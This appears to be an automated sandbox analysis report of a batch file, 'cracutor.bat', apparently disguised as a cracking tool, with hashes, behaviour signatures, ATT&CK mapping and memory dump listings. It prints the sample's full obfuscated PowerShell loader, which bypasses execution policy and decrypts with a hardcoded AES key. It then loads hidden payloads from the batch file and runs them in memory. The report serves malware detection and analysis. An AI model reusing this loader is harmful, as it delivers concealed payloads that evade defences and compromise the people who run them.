108a8547e28be119cf8aaabc2b44e117e599a69297f9e186ab7635dec6e27b04

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
25/05/2024, 19:25

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General

Target

cracutor1.0/cracutor (1)/cracutor.bat
Size

1.4MB
MD5

000a836508cfa074075fa018fdb42d5f
SHA1

e7690ef953435c37959639a579aee9fcc911b90e
SHA256

b1a9d16d628c1d565fa577310ea64da8510ecd7f55e83e7de46c28c1c7b186f4
SHA512

9899da986961105d6d6abe83403ff471d338fea3335b0df5e005db61429c7db843633a66e45cbbbfd8df82e37147816090eabae97747aa75df9495848d333863
SSDEEP

24576:PSNWms9W6b/wu9Fs1i2sBLr3O39YEraFMcNg8K0C1yywyY9+iWBxKXDcungX94uO:aScQ4CfF3OL8XDCyn

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2968	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2968	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2968	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2220 wrote to memory of 2968	2220	cmd.exe	29
PID 2220 wrote to memory of 2968	2220	cmd.exe	29
PID 2220 wrote to memory of 2968	2220	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\cracutor.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zFCOPqZUpxhO5ciHbZM4ROMYeYlSpVgI4g7jD8zHAUY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('vDZO0S7Am6YBYCRTxFXCyQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zAiLC=New-Object System.IO.MemoryStream(,$param_var); $YmoSv=New-Object System.IO.MemoryStream; $vqshj=New-Object System.IO.Compression.GZipStream($zAiLC, [IO.Compression.CompressionMode]::Decompress); $vqshj.CopyTo($YmoSv); $vqshj.Dispose(); $zAiLC.Dispose(); $YmoSv.Dispose(); $YmoSv.ToArray();}function execute_function($param_var,$param2_var){ $qmwRL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $dQiwA=$qmwRL.EntryPoint; $dQiwA.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\cracutor.bat';$kqgmW=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\cracutor1.0\cracutor (1)\cracutor.bat').Split([Environment]::NewLine);foreach ($RIPei in $kqgmW) { if ($RIPei.StartsWith(':: ')) { $flwkS=$RIPei.Substring(3); break; }}$payloads_var=[string[]]$flwkS.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2968-4-0x000007FEF5F8E000-0x000007FEF5F8F000-memory.dmp

Filesize
4KB

Download
memory/2968-5-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2968-8-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2968-7-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

Filesize
32KB

Download
memory/2968-9-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2968-10-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2968-6-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2968-11-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2968-12-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download